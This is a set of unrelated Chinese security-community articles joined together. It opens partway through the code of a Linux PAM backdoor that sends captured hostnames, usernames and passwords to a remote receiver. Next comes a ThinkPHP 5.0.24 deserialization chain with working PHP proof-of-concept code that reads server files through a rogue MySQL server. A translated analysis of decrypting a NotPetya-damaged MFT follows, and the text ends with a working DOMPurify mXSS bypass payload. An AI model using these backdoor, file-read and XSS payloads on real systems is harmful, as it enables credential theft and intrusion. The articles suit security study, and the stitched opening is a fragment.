%s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}
最后改下接收地址，make编译替换写入即可。
### END
### Links
<https://blog.csdn.net/weixin_42758707/article/details/94738684>
<https://www.cnblogs.com/marility/articles/9235522.html>
<https://github.com/mthbernardes/sshLooterC>
<https://x-c3ll.github.io/posts/>
<http://0daysecurity.com/articles/backdoor_pam_unix.so.html>
<https://github.com/zephrax/linux-pam-backdoor/blob/master/backdoor.sh>
<http://blog.kernelpanic.com.ar/2017/06/08/linux-pam-backdoor/>
<https://www.jakoblell.com/blog/2014/05/07/hacking-contest-invisible-configuration-file-backdooring-with-unicode-homoglyphs/> | 社区文章 |
# TP5.0.24反序列化链扩展-任意文件读取
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在学习 [TP5.0.24 反序列化漏洞](https://www.anquanke.com/post/id/196364)
时，发现了一个可控数据库连接从而实现任意文件读取的链子，原理类似这篇文章：[ThinkPHP v3.2.*
（SQL注入&文件读取）反序列化POP链](https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA)
本文将会根据自己挖掘的思路来写，尽量把调用流程展示清楚，把坑点说明下。并补充些审计时的思考。
## 跳板
**开始的入口跳板和写shell的反序列化入口是一样的，若已经知道这个链子了可以跳过**
全局搜索 `function __desctruct()` 函数，找到
`thinkphp/library/think/process/pipes/Windows.php` 文件：
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进 `$this->removeFiles()`:
private function removeFiles()
{
//循环 $this->files，该值可控
foreach ($this->files as $filename) {
//调用 file_exists 函数检测 $filename
//file_exists 需要传入一个 String 类型
//若此时我们控制 $filename 为一个类，类被当作字符串使用，将会自动调用 __toString() 魔术方法
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
**这里有一个小 trick** ：挖反序列化的时候，我们可以控制 `传参类型为String的函数` 传入一个类，使程序自动调用
`__toString()`，达到跳板的目的。
全局搜索 `function __toString()`，找到 `thinkphp/library/think/Model.php`文件：
public function __toString()
{
return $this->toJson();
}
一直跟进，最后调用了 `Model.php` 的 `toArray()` 方法
**以上都是和网上流传的写shell的链子是一致的，往下的链子就不一样了**
## 漏洞点
挖掘一个新链子时，我一般使用的方法是：
1. 先整体粗看，梳理调用链，找到最终可以实现我们需求的函数。在这个阶段 **不需要太纠结** 数据如何传递的，我们只需要找到最终函数即可。
2. 回溯函数，细看调用链中的每个函数，思考如何 **控制程序流程** 执行到最终函数
**ps：**
_最终函数其实就是能够执行到我们想要的操作，或者对程序有危害操作的函数，可能是一个注入点，也可能是一个上传点。_
### 整体梳理
这里整理了个简单的流程图，代码进行了简化。在梳理阶段我们只需要关注函数能调用哪里即可，不需要对每个函数的流程控制进行详细分析。
**确定可能存在的函数调用链** 即可。
整个流程的核心为：
1. 数据库连接可控
2. 程序执行过程中会执行SQL语句
**解决图中的 问题1**
我们能传入的 `type` 仅限于下图这几个tp5 自带的数据库驱动类
**解决图中的 问题2**
在 `think/Model.php buildQuery()` 中，有个任意类实例化的代码:
$con = Db::connect($connection);
$queryClass = $this->query ?: $con->getConfig('query');
//实例化任意类
$query = new $queryClass($con, $this);
在上图中我们选择了实例化 `think\db\Query.php`。
选择实例化这个类，是因为 `think/Model.php buildQuery()` 最终会 `return` 到 `think/Model.php
getPk()`函数，该函数代码如下：
//$this->getQuery() 就是 buildQuery() 的返回值
//为了能够链式操作调用getPk()，需要找到一个具有getPk()方法的类
//便选择了think\db\Query类
$this->pk = $this->getQuery()->getPk();
为了程序能够顺利执行，我们选择实例化的类 **必须存在`getPk()` 方法**。不然将会触发 `__call()`
，使程序流程走到意外的分支。全局搜索了 `getPk()` 方法后找到 `think\db\Query.php` 较为合适。
### 回溯细看
在`toArray()` 方法中，我们仅需要控制一个 `$this->append`即可
think/Model.php
public function toArray()
{
......
//反序列中$this->append可控
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
//$this->append值不能为数组
if (is_array($name)) {
......
}
//$this->append值不能有.
elseif (strpos($name, '.')) {
.....
} else {
//去除 $this->append键中特殊字符
$relation = Loader::parseName($name, 1, false);
//$this->append的键必须是本类存在的方法名
if (method_exists($this, $relation)) {
//任意本类方法调用
$modelRelation = $this->$relation();
....
}
}
}
}
}
`save()`方法中，经过一大段并不会影响程序流程的代码后，最终调用了 `$this->getPk()`
think/Model.php
public function save($data = [], $where = [], $sequence = null)
{
if (is_string($data)) {
.....
}
if (!empty($data)) {
.....
}
if (!empty($where)) {
.....
}
if (!empty($this->relationWrite)) {
......
}
if (false === $this->trigger('before_write', $this)) {
.....
}
//经过一堆无关紧要的操作，可调用$this->getPk()
$pk = $this->getPk();
}
前文调用 `getPk()` 是无参调用
think/Model.php
public function getPk($name = '')
{
if (!empty($name)) {
.....
}
//由于调用时是无参调用
//必会进入elseif
elseif (empty($this->pk)) {
$this->pk = $this->getQuery()->getPk();
}
}
此时进行了链式操作，我们先看 `getQuery()` 方法。我们可以留意下该方法的返回值。
think/Model.php
public function getQuery($buildNewQuery = false)
{
if ($buildNewQuery) {
return $this->buildQuery();
}
//无参调用，$this->class可控
//我们可控制为一个不存在的值让程序流程必定进入elseif
elseif (!isset(self::$links[$this->class])) {
self::$links[$this->class] = $this->buildQuery();
}
//返回$this->buildQuery()返回的东西
return self::$links[$this->class];
}
**下面的说明可能有点绕，可以根据下文给出的测试POC自行跟进下将比较好理解。**
**TP数据库配置 – getQuery()**
在 `buildQuery()` 中，进行数据库的初始化连接操作。但仅仅只是进行了配置，并没有真正的进行数据库连接。
这一段由于没有太多需要控制流程的地方，我们主要工作是明确如何设置各个变量的值。
这一段代码解析配合上文的流程图食用效果更佳
think/Model.php
protected function buildQuery()
{
.....
//控制$this->connection
//通过查看Db::connect()方法
//可以得知$this->connection内容就是数据库配置
$connection = $this->connection;
$con = Db::connect($connection);
//$this->query可控，控制程序实例化Query类
$queryClass = $this->query ?: $con->getConfig('query');
$query = new $queryClass($con, $this);
return $query;
}
===========
think/Db.php
public static function connect($config = [], $name = false)
{
//解析配置
$options = self::parseConfig($config);
//加载数据库驱动
$class = false !== strpos($options['type'], '\\') ?
$options['type'] :
'\\think\\db\\connector\\' . ucwords($options['type']);
//实例化数据库驱动
//查看Mysql数据库驱动类构造方法可以得知
//Mysql->config成员变量被赋值为$options
self::$instance[$name] = new $class($options);
return self::$instance[$name];
}
===========
think/db/Connection.php 所有数据库驱动都继承此类
public function __construct(array $config = [])
{
if (!empty($config)) {
$this->config = array_merge($this->config, $config);
}
}
===========
think/db/Query.php
public function __construct(Connection $connection = null, $model = null)
{
//为 Query->connection 成员变量赋值
//值为buildQuery()中调用的 Db::connect()，可控
$this->connection = $connection ?: Db::connect([], true);
//下面的操作主要是实例化了数据库驱动的Builder类
//对我们的攻击无关紧要。感兴趣也可以跟进下
$this->prefix = $this->connection->getConfig('prefix');
$this->model = $model;
$this->setBuilder();
}
经过上面这段 `TP数据库配置操作` 后，在 `buildQuery()` 中将会返回 `Query类` 的实例。
**TP数据库执行 – getPk()**
在该方法中对数据库进行PDO连接。具体的连接函数在下文分析。这里我们先了解调用流程
think/db/Connection.php
public function getPk($options = '')
{
$pk = $this->getTableInfo(is_array($options) ? $options['table'] : $options, 'pk');
}
========
think/db/Connection.php
public function getTableInfo($tableName = '', $fetch = '')
{
$db = $this->getConfig('database');
if (!isset(self::$info[$db . '.' . $guid])) {
//前面的不太重要，一般都能调用到这里
$info = $this->connection->getFields($guid);
}
}
========
think/db/connector/Mysql.php
public function getFields($tableName)
{
//sql语句
$sql = 'SHOW COLUMNS FROM ' . $tableName;
//调用query()
$pdo = $this->query($sql, [], false, true);
}
========
think/db/Connection.php
public function query($sql, $bind = [], $master = false, $pdo = false)
{
//数据库连接配置
//这里会在下文详细说
$this->initConnect($master);
$this->PDOStatement = $this->linkID->prepare($sql);
$this->PDOStatement->execute();
}
**测试POC**
这里给出个POC，如果没看懂的话跟着POC开Debug走一走流程就明白调用过程了 = =
_备注：该POC运行到`think/db/Connection.php connect()` 将会由于没有传入正确数据库配置而报错停止运行。这里我们
**明白调用流程** 即可_
<?php
namespace think{
abstract class Model{
//toArray()中
//为了使得能够进入if判断并foreach
//需要控制该成员变量
//值为被调用的任意本类方法，即save()
protected $append = [
'save'
];
protected $table = 'xxx';
//buildQuery()中
//为了能够实例化Query类
//需要控制该成员变量
protected $query = '\think\db\Query';
}
}
namespace think\model{
//继承抽象类 Model
class Pivot extends \think\Model{
}
}
namespace think\process\pipes{
class Windows{
private $files = [];
public function __construct(){
//!!!!
//由于Model类是抽象类，我们只能实例化其子类
//!!!!
$this->files[] = new \think\model\Pivot();
}
}
}
namespace{
//入口点 __destruct()
$a = new \think\process\pipes\Windows();
echo base64_encode(serialize($a));
}
?>
### 控制数据库配置
由于上文的POC在 `think/db/Connection.php
connect()`就抛出错误了。查看该方法，发现其进行了PDO连接数据库的操作，传入的配置为其成员变量。
这里值得注意的是，由于数据库驱动类是另外 `new`
出来的，所以反序列化无法直接控制其成员变量。我们只能通过给构造函数传参，在构造函数中控制部分成员变量。具体可看前文的流程图会清晰一些。
//数据库配置格式
//我们要构造的payload就按照这个数组来写
protected $config = [
'type' => '',
'hostname' => '',
'database' => '',
'username' => '',
'password' => '',
'hostport' => '',
......
];
//PDO配置
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
//该PDO配置将使得 LOAD DATA LOCAL 不成功
//需要在connect()中将之覆写为true
PDO::ATTR_EMULATE_PREPARES => false,
];
public function connect(array $config = [], $linkNum = 0, $autoConnection = false)
{
$config = array_merge($this->config, $config);
//控制$config['params']不为空且为数组，使程序进入if判读
//覆写该类默认的$this->params[PDO::ATTR_EMULATE_PREPARES] 为true
//这样我们 LOAD DATA LOCAL 才能成功
if (isset($config['params']) && is_array($config['params'])) {
$params = $config['params'] + $this->params;
} else {
$params = $this->params;
}
if (empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
$this->links[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $params);
}
return $this->links[$linkNum];
}
**扩展** ：使用 `+` 拼接数组，后面的数组不会覆盖前面的数组值。但是使用 `array_merge` 将会覆盖前面的值：
<?php
$a = [
'x' => 1
];
$b = [
'x' => 2,
'v' => 3
];
//使用 + 拼接数组
//$c['x'] 还是1
$c = $a+$b;
//使用 array_merge 拼接数组
//$d['x'] 被覆盖为2
$d = array_merge($a,$b);
?>
根据上文的代码分析。我们可构建连接恶意Mysql数据库的配置。这里需要注意几点：
1. ``PDO::MYSQL_ATTR_LOCAL_INFILE` 要设置为 **true** 。不然PDO无法进行 `LOAD DATA LOCAL` 操作
2. `PDO::ATTR_EMULATE_PREPARES` 也要设置为 **true** 。不然`LOAD DATA LOCAL`会报错
3. PDO连接恶意Mysql数据库 **不需要** 正确的用户名密码和库名。只要地址正确即可
初始化PDO连接后，`connect()` 将把PDO连接返回到 `query()`函数中，由这个函数执行 `PDOStatement execute()`
## 最终POC
搭建的恶意Mysql服务器选择 [Rogue-MySql-Server](https://github.com/Gifts/Rogue-MySql-Server)。可以通过编辑其 `rogue_mysql_server.py` 修改服务监听端口和被读取的文件：
PORT = 3306
.....
filelist = (
'/etc/passwd',
)
修改POC，增加数据库配置：
<?php
namespace think{
abstract class Model{
protected $append = [
'save'
];
protected $table = 'xxx';
protected $query = '\think\db\Query';
//buildQuery()中
//为Db::connect()传入的数据库连接配置
protected $connection = [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'xxx',
// 用户名
'username' => 'xxx',
// 密码
'password' => 'xxx',
'params' => [
//让PDO能够执行LOAD DATA LOCAL
\PDO::MYSQL_ATTR_LOCAL_INFILE => true,
//重写配置，让PDO LOAD DATA LOCAL不报错
\PDO::ATTR_EMULATE_PREPARES => true,
]
];
}
}
namespace think\model{
class Pivot extends \think\Model{
}
}
namespace think\process\pipes{
class Windows{
private $files = [];
public function __construct(){
$this->files[] = new \think\model\Pivot();
}
}
}
namespace{
$a = new \think\process\pipes\Windows();
echo base64_encode(serialize($a));
}
?>
在TP的控制器处新建一个 `index.php`。写入如下测试代码：
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$a = base64_decode('生成的POC');
unserialize($a);
}
}
开启Rogue Mysql：
python rogue_mysql_server.py
访问测试文件，发现报了个错
查看日志，成功读取文件 | 社区文章 |
# 【技术分享】 解密NotPetya/Petya：恢复MFT
|
##### 译文声明
本文是翻译文章，文章来源：crowdstrike.com
原文地址：<https://www.crowdstrike.com/blog/decrypting-notpetya-tools-for-recovering-your-mft-after-an-attack/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
****
本文中，我们将通过一些发现和工具来解密 **NotPetya/Petya** 。使用我们提供的工具，几乎所有的MFT能在数分钟内恢复。
**0x01 解密MFT**
****
毫无疑问，MFT是NTFS文件系统最重要的数据结构之一。它包含了文件系统中的文件列表，及元数据（如日期，文件大小，磁盘位置等）。没有MFT的话，任何试图恢复文件的动作都将徒劳。通过利用
**NotPetya/Petya** 中的 **Salsa20**
加密算法实现中的漏洞来解密MFT是唯一的可能。基本上，它可以是一种已知明文攻击和多次攻击的组合。注意这种攻击不意味着Salsa20可以被破坏，它只影响了具体的实现。
**0x02 如何解密MFT**
****
为了恢复MFT，首先，需要从受感染的硬盘中提取出MFT。这可以通过磁盘取证实现，通过将受感染的硬盘附加到未受感染的系统中，或者通过[live
CD](http://wiki.sleuthkit.org/index.php?title=Tools_Using_TSK_or_Autopsy)引导受感染的计算机。
假设使用前者，如使用名为disk.dd的磁盘取证工具，通过下面的命令提取出MFT（存为文件mft.raw）:
第一个命令（mmls）返回分区表。通常，NFTFS主分区的起始扇区是63或者2048。第二个命令（icat）输出NTFS分区的MFT到文件mft.raw中。
一旦提取了加密的MFT，可以使用工具[decryptPetya.py](https://github.com/CrowdStrike/NotPetyaDecryptor/blob/master/decryptPetya.py)来解密它。
取决于MFT的大小和加密的记录的数量，解密时间大约在2~30分钟之间。
DecryptPetya.py的命令行选项如下：
根据提供的选项，脚本输出解密后的MFT（文件名为[mft].decrypted_strict 或者
[mft].decrypted_relaxed）。默认情况下，是relaxed解密。无论如何，它都会尝试解密输入的密文。通过使用“-strict”选项可以使得结果更加可靠。
**0x03 手动分析解密后的MFT记录**
****
很少情况下需要恢复第一个或最后几个MFT记录。可以从decryptPetya.log文件获得帮助。日志文件尽可能的输出指定密文对应的明文。下面提供了一个例子。
在默认用例中，decryptPetya.py已经填充了明文。这个例子中，0.9876的确定性的字节0x00被写入到解密后的记录中。
**0x04 进一步分析MFT**
****
一旦符合了MFT结构，可以进一步分析，例如使用类似的工具（[analyzeMFT.py](https://github.com/dkovar/analyzeMFT)）,或patch到硬盘中。
**0x05 技术细节**
****
那么，Petya（也被NotPetya作者拷贝了）的作者到底犯了什么错误，导致可以解密MFT呢？
之前关于Petya和NotPetya的[报告](http://blog.ptsecurity.com/2017/07/recovering-data-from-disk-encrypted-by.html)中表明了他们共享了不完善的[Salsa20加密算法](https://github.com/alexwebr/salsa20)。代码与GitHub中找到的开源实现非常类似。尽管源代码的实现是正确的，但是Petya的作者在转换16位代码时犯了几个错误。这些错误使得Petya/NotPetya有漏洞，可以使用已知明文攻击来解密大部分MFT。
**0x06 Salsa20流位置漏洞**
****
本节描述了 **NotPetya/Petya** 中的流位置漏洞。 **NotPetya/Petya**
使用一定数量的扇区，而不是使用要加密的流数据中的字节偏移，这对这种方式的安全性有严重影响。
**NotPetya/Petya** 使用一个修改版本的 **Salsa20**
，其是一个流对称加密算法，映射一个256位密钥、一个64位nonce以及一个64位流位置到一个512位的输出。主要的加密功能位于s20_crypt()函数中。由于position参数，这个算法可以在常量时间内在密钥流中寻找任意偏移。这个算法依赖伪随机数生成器（PRNG）来生成用于与明文异或操作的密钥流。下图是Salsa20算法的概述：
Salsa20 PRNG函数（s20_expand()），有下面4个参数：
1.一个立即数（-1nvalid s3ct-id），区别于原始算法中的立即数（expand 32-byte k）
2.一个32字节的随机生成的密钥
3.一个8字节的随机生成的nonce
4.一个8字节整数，表示流位置，但是实际上是要加密的数据的扇区号
s20_crypt()的反汇编代码如下：
正如红色标记所示，用于从磁盘中读取的扇区和s20_crypt()函数中的流偏移是同一个变量。之后扇区号用于作为PRNG函数s20_expand()的输入，如下面反汇编所示：
实际上，使用的是扇区号，而不是实际的流位置（字节），使得 **NotPetya/Petya** 能被已知明文攻击。考虑到下面参数的例子：
32字节密钥：
Nonce:
下个加密的扇区号：0x00600061
使用函数号/64来作为参数（如0x18001）调用S20_expand_key()函数。
密钥流如下：
通过下面的公式计算得到密钥流的索引：
因此，真正的XOR流起始于密钥流的索引0x21：
接下来，扇区0x00600062被加密了。因为扇区号只增加1，异或结果为：
因此，如果 **NotPetya/Petya** 加密扇区i，64字节密钥状态为FF D7 83 CF […]，对于扇区i+1的密钥状态是D7 83 CF
B2 […]。这个可以用于针对 **NotPetya/Petya**
实施已知明文攻击。背后的原因是一次已知明文攻击可以提取出密钥流。用x表示明文，k表示密钥流，那么E(x) = x ⊕
k。如果x是已知的，密钥能通过再次异或恢复：E(x) ⊕ x = (x ⊕ k) ⊕ x =
k。这利用了异或的特性。一旦知道了密钥流，密文的其他部分也能解密。
**0x07 利用流位置漏洞**
****
在上节中，我们看到了如果我们只要了底层明文，我们能通过异或简单的计算出原始密钥流。由于密钥流的重复性，这能用于推导出大部分密钥流。首先，需要解密MFT。它几乎是已知明文攻击的一种完美的数据结构。通常，MFT包含连续的MFT记录列表。每个MFT记录有下面的结构：
通常，每个记录是1024字节，等于2个扇区。有了上面的知识，很明显，所有的记录的密钥流字节中有重叠。下图是重叠的地方：
虽然第一个密钥流只有一些重叠，随着索引变大情况会发生变化，可以手机更多的样本。直到MFT末尾，早前的记录会消失，剩余的记录再次积累到相关少量的样本。
有两种不同的方法来利用密钥流：
1.MFT头，假设MFT头的前几个字节是常量
2.Byte histogram，可以计算指定扇区出现明文的可能性
想法是遍历MFT，模拟 **NotPetya/Petya**
实现的扇区处理。针对每个MFT记录，收集数据结构中潜在的密钥流。如果找到相同的密钥流，更新可能性。在解析MFT之后，分析数据结构，只有满足确定条件的才置为密钥流。
**0x08 MFT头攻击**
****
在大部分记录中，前8个字节是46 49 4C 45 30 00 03
00。在这种假设下，能直接推导密钥流。然而，只有明文的前8个字节恢复了，这种攻击不能解密整个MFT。而且，每个密钥流索引最多可以收集4个样本。
因此，我们进一步使用这种方式来使得可能字节的范围扩大的方法，称为byte histogram。
**0x09 Byte Histogram攻击**
****
实际上MFT记录中的大部分元素有固定的大小可以被利用。从这个事实中看，相同数据类型出现于每个记录中相同的偏移位置。为了获得指定偏移的字节的存在性，在MFT记录中每个偏移的histogram能通过从Windows安装中收集的一系列110万的记录计算得到，只选择最多10个不同值的histogram或者明显偏向某一确定值的histogram。
使用这种方法，可以从每个MFT记录中收集更多的密钥流。
**0x0A 测试**
****
在VM中的Windows
XP中测试。使用NotPetya感染VM，并创建感染的快照，但是还没加密系统。提取MFT，并启动VM，使得NotPetya继续运行。在那之后，再提取加密的MFT。干净的MFT包含27984的记录。
**0x0B 解密MFT**
****
我们将两种攻击应用于加密的MFT，并比较。得到下面的结果：
尽管MFT头方法能正确恢复大约56000个密钥流，byte
histogram也能恢复大约56000字节。两种攻击都没出错，这对于MFT取证分析来说是个好消息，因为结果数据是可靠的。关于MFT的解密，有532个记录不能使用MFT头方式来解密，只有9个记录不能使用byte
histogram来解密。
另外，记录每个位置的可能性，显示了重要的不同点，如下：
结果清楚表明byte histogram方式能针对每个密钥流索引收集更多潜在的明文样本，因此增加了密钥流结果的可靠性。当一个位置不能解析，byte
histogram方式表明了可以更细粒度的可选方案，来完成半自动恢复MFT记录。
**0x0C 总结**
****
解密 **NotPetya/Petya**
加密的计算机是个挑战。本文中，我们展示了解密MFT是可能的，这是解密整个磁盘的前提。在将来我们的目标是解密整个文件系统，它很有挑战。 | 社区文章 |
在这篇博文中，我将解释我最近在[DOMPurify](https://github.com/cure53/DOMPurify/)\--流行的HTML过滤库中的绕过。简而言之，DOMPurify的工作是将一个不受信任的HTML片段删除所有可能导致跨站点脚本（XSS）的元素和属性。
这是Bypass：
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><img src onerror=alert(1)>
相信我，这段话中没有一个元素是多余的。
为了理解为什么这段代码能够工作，我需要给你介绍一下HTML规范中的一些有趣的功能，我使用这些功能来进行Bypass工作。
## DOMPurify的用法
我们先从基础知识开始，解释一下DOMPurify通常是如何使用的。假设我们在htmlMarkup中有一个不受信任的HTML，我们想把它分配给某个div，我们使用下面的代码来使用DOMPurify对它进行过滤并分配给div。
div.innerHTML = DOMPurify.sanitize(htmlMarkup)
就 HTML 的解析和序列化以及对 DOM 树的操作而言，在上面的简短片段中发生了以下操作。
* 1.htmlMarkup被解析到DOM树中。
* 2.DOMPurify对DOM树进行过滤（简而言之，这个过程就是要走遍DOM树中的所有元素和属性，并删除所有不在允许列表中的节点）。
* 3.DOM树被序列化回HTML标记。
* 4.分配到innerHTML后，浏览器再次解析HTML标记。
* 5.解析后的DOM树被追加到文档的DOM树中。
让我们在一个简单的例子上看看。假设我们的初始标记是A<img src=1 onerror=alert(1)>B。在第一步中，它被解析成以下的树。
然后，DOMPurify对其进行过滤，留下以下DOM树。
然后将其序列化为。
A<img src="1">B
而这就是DOMPurify.sanitize返回的内容。然后在分配给innerHTML时，浏览器会再次解析这些标记。
该DOM树与DOMPurify工作的DOM树相同，然后将其附加到文档中。
所以简而言之，我们的操作顺序如下：解析➡️序列化➡️解析。按照直觉可能是序列化一棵DOM树并再次解析它应该总是返回初始的DOM树。但事实完全不是这样。在[HTML规范中](https://html.spec.whatwg.org/multipage/parsing.html#serialising-html-fragments:escapingString-3:~:text=It%20is%20possible%20that%20the%20output,not%20return%20the%20original%20tree%20structure)甚至有一节关于序列化HTML片段的警告。
> It is possible that the output of this algorithm [serializing HTML], if
> parsed with an HTML parser, will not return the original tree structure.
> Tree structures that do not roundtrip a serialize and reparse step can also
> be produced by the HTML parser itself, although such cases are typically
> non-conforming.
重要的启示是，序列化-解析前后并不能保证返回原始DOM树（这也是被称为mXSS（突变XSS）的根本原因）。虽然通常这些情况是由于某种解析器/序列化器错误造成的，但至少有两种符合规范的变种情况。
## 嵌套FORM元素
其中一种情况与FORM元素有关。在HTML中，它是一个相当特殊的元素，因为它本身不能嵌套。规范中明确规定，[它不能嵌套FORM为其子元素](https://html.spec.whatwg.org/#the-form-element)。
这可以在任何浏览器中确认，并使用以下标记。
<form id=form1>
INSIDE_FORM1
<form id=form2>
INSIDE_FORM2
这将产生以下DOM树。
第二种形式在DOM树中完全被省略了，就像它从来没有出现过一样。
现在是有趣的部分。如果我们继续阅读HTML规范，它实际上给出了一个例子，说明只要有一个稍有破绽的标记和错误的嵌套标签，就有可能创建嵌套表单。这里是（直接摘自规范）。
<form id="outer"><div></form><form id="inner"><input>
它产生了以下DOM树，其中包含一个嵌套的表单元素。
这不是任何特定浏览器的bug，而是直接来自HTML规范，并在解析HTML的算法中进行了描述。下面是大意。
* 当你打开一个< form>标签时，解析器需要记录它是用一个表单元素指针打开的（规范中是这样称呼的）。如果指针不是空的，那么就不能创建表单元素。
* 当你结束一个< form>标签时，表单元素指针总是被设置为null。
因此，回到这个片段。
<form id="outer"><div></form><form id="inner"><input>
一开始，表单元素指针被设置为id="external"的那个。然后是一个div，</form>结束标签将表单元素指针设置为null。因为它是空的，所以可以创建下一个id="inner"的表单；而且因为我们当前在div中，所以我们实际上有一个嵌套在表单中的表单。
现在，如果我们尝试序列化产生的DOM树，我们将得到以下标记。
<form id="outer"><div><form id="inner"><input></form></div></form>
注意，这个标记不再有任何错误嵌套的标记。而当再次解析该标记时，就会创建以下DOM树。
所以这就是一个证明，序列化-再解析 前后并不能保证返回原始DOM树。而更有趣的是，这基本上是一个 **符合规范的突变** 。
自从我意识到这个怪癖的那一刻起，我就非常确定，一定可以通过某种方式滥用它来绕过HTML
sanitizers。而在很长时间没有得到任何利用它的想法后，我终于偶然发现了HTML规范中的另一个怪癖。不过在说具体的怪癖本身之前，先说说我最喜欢的HTML规范的潘多拉盒子：
## 外部内容
外部内容就像一把瑞士军刀，可以用来突破解析器和过滤器。我在之前的[DOMPurify绕过](https://research.securitum.com/dompurify-bypass-using-mxss/)以及[Ruby sanitize库的绕过](https://research.securitum.com/html-sanitization-bypass-in-ruby-sanitize-5-2-1/)中使用了它。
HTML解析器可以创建一个包含三个命名空间元素的DOM树。
* HTML命名空间(<http://www.w3.org/1999/xhtml>)
* SVG命名空间（<http://www.w3.org/2000/svg）>
* MathML命名空间(<http://www.w3.org/1998/Math/MathML>)
默认情况下，所有的元素都在HTML命名空间；但是如果解析器遇到< svg>或< math>元素，那么它就会分别 "切换
"到SVG和MathML命名空间。而这两个命名空间都会产生外来内容。
在外来内容标记中，与普通HTML中的解析方式不同。这一点在< style>元素的解析上可以最清楚的表现出来。在HTML命名空间中，<
style>只能包含文本，不能有子元素，而且HTML实体不被解码。而在外来内容中就不一样了：外来内容的< style>可以有子元素，实体也会被解码。
考虑以下标签。
<style><a>ABC</style><svg><style><a>ABC
它被解析成以下的DOM树。
注意：从现在开始，本博文中DOM树中的所有元素都将包含一个命名空间。所以html style意味着它是HTML命名空间的< style>元素，而svg
style意味着它是SVG命名空间的< style>元素。
由此产生的DOM树证明了我的观点：html style只有文本内容，而svg style则像普通元素一样被解析。
继续往下看，可能很想做某个观察。那就是：如果我们在<svg>或<math>里面，那么所有的元素也都在非HTML命名空间。但事实并非如此。在HTML规范中，有一些元素叫做</math></svg>
**MathML文本集成点** 和 **HTML集成点** 。而这些元素的子元素都有HTML命名空间（下面我列举了某些例外）。
请看下面的例子。
<math>
<style></style>
<mtext><style></style>
它被解析成以下DOM树。
请注意，作为math直接子元素的style元素是在MathML命名空间，而mtext中的style元素是在HTML命名空间。而这是因为
**mtext是MathML文本集成点** ，并使解析器切换命名空间。
MathML文本集成点是。
* math mi
* math mo
* math mn
* math ms
HTML集成点是:
* math annotation-xml 如果它有一个叫做编码的属性，其值等于text/html 或application/xhtml+xml
* svg foreignObject
* svg desc
* svg title
我一直以为MathML文本集成点或HTML集成点的子元素都默认有HTML命名空间。我是真是大错特错!
HTML规范中说，MathML文本集成点的子节点默认为HTML命名空间，但有两个例外：mglyph和malignmark。而且只有当它们是MathML文本集成点的直接子元素时才会出现这种情况。
我们用下面的标签来检查一下。
<math>
<mtext>
<mglyph></mglyph>
<a><mglyph>
请注意，作为mtext的直接子元素的mglyph是在MathML命名空间，而作为html a元素的子元素的mglyph是在HTML命名空间。
假设我们有一个 "当前元素"，我们想确定它的命名空间。我整理了一些经验法则。
* 当前元素在其父元素的命名空间中，除非满足以下几点条件。
* 如果当前元素是< svg>或< math>，而父元素在HTML命名空间，那么当前元素分别在SVG或MathML命名空间。
* 如果当前元素的父元素是HTML集成点，则当前元素在HTML命名空间，除非是< svg>或< math>。
* 如果当前元素的父元素是MathML集成点，那么当前元素在HTML命名空间，除非它是< svg>、< math>、< mglyph>或< malignmark>。
* 如果当前元素是< b>、< big>、< blockquote>、< body>、< br>、< center>、< code>、< dd>、< div>、< dl>、< dt>、< em>、< embed>、< h1>之一。< h2>, < h3>, < h4>, < h5>, < h6>, < head>, < hr>, < i>, < img>, < li>, < listing>, < menu>, < meta>, < nobr>, < ol>, < p>, < pre>, < ruby>, < s>, < small>。< span>、< strong>、< strike>、< sub>、< sup>、< table>、< tt>、< u>、< ul>、< var>或< font>，并定义了颜色、面或大小属性，那么，堆栈上的所有元素都会被关闭，直到看到MathML文本整合点、HTML整合点或HTML命名空间中的元素。然后，当前元素也在HTML命名空间。
当我在HTML规范中找到这个关于mglyph的宝石时，我立刻知道这就是我一直在寻找的滥用html形式突变绕过sanitizer的方法。
## DOMPurify bypass
所以让我们回到绕过DOMPurify的Payload。
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
payload利用错误嵌套的html表单元素，并包含mglyph元素。它产生的DOM树如下。
这个DOM树是无害的。所有元素都在DOMPurify的允许列表中。注意，mglyph是在HTML命名空间。而那个看起来像XSS
payload的片段只是html样式中的一个文本。因为有一个嵌套的html形式，我们可以很肯定这个DOM树在rearsing时是会被突变的。
所以DOMPurify在这里没有任何作用，而是返回一个序列化的HTML。
<form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form>
这个片段有嵌套的表单标签。所以当它被分配给innerHTML时，它被解析成以下DOM树。
因此，现在第二个 html 表单没有创建，mglyph 现在是 mtext 的直接子元素，这意味着它在 MathML
命名空间中。正因为如此，style也在MathML命名空间中，因此它的内容不被视为文本。然后，</math>关闭了<
math>元素，现在img是在HTML命名空间中创建的，从而导致XSS。
## 总结
综上所述，这个绕过之所以能够实现，是因为几个因素。
* DOMPurify的典型用法使得HTML标记被解析两次。
* HTML规范有一个怪癖，使得创建嵌套表单元素成为可能。但是，在重新解析的时候，第二个表单会消失。
* mglyph和malignmark是HTML规范中的特殊元素，在某种程度上，如果它们是MathML文本集成点的直接子元素，那么它们就属于MathML命名空间，尽管其他标签默认都属于HTML命名空间。
* 利用以上这些方法，我们可以创建一个标记，其中有两个表单元素和mglyph元素，这些元素最初是在HTML命名空间，但在重新解析时却在MathML命名空间，使得后续的样式标签要进行不同的解析，导致XSS。
